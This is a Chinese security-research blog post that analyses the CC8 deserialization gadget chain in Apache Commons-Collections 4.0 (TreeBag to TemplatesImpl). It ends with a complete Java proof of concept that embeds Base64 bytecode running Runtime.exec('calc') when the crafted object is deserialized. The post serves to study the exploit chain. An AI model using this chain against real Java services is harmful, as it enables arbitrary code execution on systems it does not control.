CC8链分析

本文最后更新于:2024年10月9日 晚上

CC8链:CC2和CC4派生

CC8源码

CC链分析完整测试代码,可直接拉取

在原始版本的ysoserial中没有这条链。CC8存在于Commons-Collections4.0版本中,使用了TemplatesImpl.newTransformer()作为代码执行点。

使用PriorityQueue作为入口,它是基于二叉树和堆,即二叉堆这种数据结构来实现。它的readObject()方法中由于要重构二叉堆,会进行二叉树节点的比较从而进入利用链。那么在进行二叉树节点比较的其他地方会不会还存在利用点。

CC8的作者就想到了红黑树,在Java中实现为TreeMap类,但是POC中使用了TreeBag作为链子入口。为什么呢

我们去看TreeMap的源码,在其readObject()中并没有出现调用比较之类的函数,buildFromSorted()也没有调用,那么就不能进入像CC4那样的后续构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/**
* Reconstitute the {@code TreeMap} instance from a stream (i.e.,
* deserialize it).
*/
private void readObject(final java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in the Comparator and any hidden stuff
s.defaultReadObject();

// Read in size
int size = s.readInt();

buildFromSorted(size, null, s, null);
}

这个问题如何解决,既然选择使用TreeMap,那就看看TreeMap中还有哪些地方使用了compare,CC8的作者就使用了其put()方法

那么接下来看看这put方法在CommonsCollections4.0中会被谁调用,发现在AbstractMapBag.java中,其doReadObject()方法调用了put方法,

1
2
3
4
5
6
7
8
9
10
11
12
protected void doReadObject(Map<E, MutableInteger> map, ObjectInputStream in) throws IOException, ClassNotFoundException {
this.map = map;
int entrySize = in.readInt();

for(int i = 0; i < entrySize; ++i) {
E obj = in.readObject();
int count = in.readInt();
map.put(obj, new MutableInteger(count)); //this trigger!
this.size += count;
}

}

那么看看包里有哪个调用了doReadObject,于是乎找到了TreeBag类,在其readObject当中,

1
2
3
4
5
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Comparator<? super E> comp = (Comparator)in.readObject();
super.doReadObject(new TreeMap(comp), in);
}

到这里CC8就分析完了,后面的部分和CC4差不多了,主要就是分析链子入口点。

1
2
3
4
5
6
7
8
9
TreeBag.readObject()
->AbstractMapBag.doReadObject()
->TreeMap.put()
->TransformingComparator.compare()
->ChainedTransformer.transform()
->InstantiateTransformer.transform()
->TemplatesImpl.newTransformer()
->defineClass()
->newInstance()

构造测试代码:

需要注意一些问题,treeMap中需要有元素,不然在doReadObject中就直接跳过调用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public static void main(String[] args) throws Exception{
ChainedTransformer transformerChain = new ChainedTransformer(new ConstantTransformer("3xsh0re"));
byte[] CalcCode = Base64.getDecoder().decode(
"yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEA" +
"CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" +
"TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0a" +
"W9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKEx" +
"jb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hc" +
"GFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS9" +
"4bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAA" +
"ygpVgcAGwEAClNvdXJjZUZpbGUBABBUZW1wbGF0ZVBPQy5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGM" +
"MAB8AIAEAC1RlbXBsYXRlUE9DAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzb" +
"HRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnR" +
"lcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL" +
"2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQA" +
"nKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIA" +
"AIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAALAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAA" +
"ABAAAAAGxAAAAAQAKAAAABgABAAAADwALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAA" +
"bgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAARAAQAEgANABMACwAAAAQAAQAQAAEAEQAAAAIAEg==");
TemplatesImpl calcTemp = new TemplatesImpl();
setFieldValue(calcTemp, "_bytecodes", new byte[][] {CalcCode});
setFieldValue(calcTemp, "_name", "CalcTemplatesImpl");
setFieldValue(calcTemp, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{calcTemp})
};
TreeBag treeBag = new TreeBag<>(new TransformingComparator(transformerChain));
treeBag.add("3xsh0re");
setFieldValue(transformerChain,"iTransformers",transformers);

// 测试
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(treeBag);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}

CC8链分析
https://3xsh0re.github.io/2024/10/05/CC8链分析/
作者
3xsh0re
发布于
2024年10月5日
许可协议